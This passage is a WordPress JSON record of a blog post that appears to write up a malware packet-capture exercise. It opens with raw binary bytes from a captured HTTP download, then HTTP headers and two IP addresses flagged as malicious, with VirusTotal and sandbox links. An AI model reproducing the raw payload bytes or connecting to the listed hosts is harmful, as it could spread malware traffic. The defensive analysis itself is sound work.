H~%P{f.&quot;+xa.Avc..O...C.U5...U)\\......(..Q.\r\n.|.Q.._......VT.w....*\\...O.^-k......E....X......!&amp;...|......`._J.?.(.9...(...N.OAq*.j.n..7F......g...N...1........v...;Ue.......\r\nd.WTZe..&quot;g.......Aw.\r\n.'.w...Q..Y.r..;;R:.l3..}B...F.1...q.'..O;\\....O...@].......&lt;q.....Yc.S.p.^EU?.-...g...'D...`......l.\/.w..?.......:o.|.4..4....Ny.k.`..&#x5B;..c]`.!Y...h..\\7yl.H.h.~.X.....W.\\-yJ.Eq=.=..?.e.pV.9O.x.O5.U=Q..]}......F)3%....y..&gt;.@T.B&quot;..G......c...n;..T..Z...a.)....@.n..&#x5B;.l..d.....R&gt;...\/Br.&lt;..EOV=7....w&lt;..W(.\r\n....\\..O.jy..EP.S.qie.=.\\.#......ne.j\r\n.PGSI:.)A...).4uI....i.!.....c.b...7.T..p.B.....y5....\\.y........&#x5B; ;-.);..5..O.^.\r\n&#x5B;,.cy1....BkT.o..qo!..0...=.y...p.`N....\r\n.=..prD.L.#g...(.3.(..;&gt;.......G..\r\nJ.h...m..q.A.%.;h .....Uz.......h.....,..z.(J:..r&gt;...?a.X.\r\n.4.cS..l......,.:.Sk.VG*.R.,........!.CI......j....Q..i.\\s....j!.&amp;...K.x......&amp;......6.|....d.W..x.......qS..8...........#...D.8Kpj3.F.mg...i.Dt.&quot;.......c.W.....$xL1......qH..CH..O_...;.......\r\nAL.....6.cgE..c..x....\r\n:.........-.d....x.&quot;..Eq.....&amp;.....S.c\\............s..$_j....0)H...L._.Mu.R.Sj+...H......J......z.2...X\r\n.&quot;._...dIo.....Q}.....G.{N..DX.3....]..J....!...A..5f..&gt;F........@......Ii$..7..Rgk+.&amp;&amp;..&#x5B;.&lt;.@.%..r.Y..co.g..s....3.YZ.....Q..i....4c.z=.E.C....cE..07.B...o&amp;9:)...9e....@\\.;4..H4...q%\r\n\r\nHTTP\/1.1 200 \r\nServer: Apache\r\nContent-Length: 35792\r\nContent-Type: \r\nLast-Modified: .., 12 ... 2015 22:37:20 GMT\r\nAccept-Ranges: bytes\r\nServer:nginx\/1.2.6\r\nDate:Mon, 12 Oct 2015 22:37:16 GMT\r\nLast-Modified:Mon, 12 Oct 2015 22:37:17 GMT\r\nAccept-Ranges:bytes\r\n<\/pre>\n<p>Doing some research into the two IP addresses above showed that these IP addresses have been involved in malicious activity in the past:<\/p>\n<p>http:\/\/www.virustotal.com\/en\/ip-address\/85.216.123.10\/information\/<br \/>\nhttp:\/\/www.virustotal.com\/en\/ip-address\/93.177.178.40\/information\/<br \/>\nhttp:\/\/malwr.com\/analysis\/MjUzN2ZkYmJmN2NlNDUxYWFmNzIxM2YyZjk2ZDQyNWE\/ (93.177.178.40)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just posting my write-up of another one of Brad&#8217;s exercises. You can find the answers to this exercise from Brad here. The other interesting bit that I came across while researching different aspects from this exercise was another researcher that had worked on the same one as well. Check out his blog here, or his Twitter feed here. Here are my results from this exercise. &#8211; Date and time of the activity. &gt; User1 = 10.12.2015 18:55 &#8211; 19:10 &gt; User2 = 10.12.2015 23:30 &#8211; 23:39 &#8211; The infected computer&#8217;s IP address. &gt; User1 = 10.0.15.202 &gt; User2 = 172.16.95.97&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=218\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-218","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=218"}],"version-history":[{"count":5,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/218\/revisions"}],"predecessor-version":[{"id":224,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/218\/revisions\/224"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}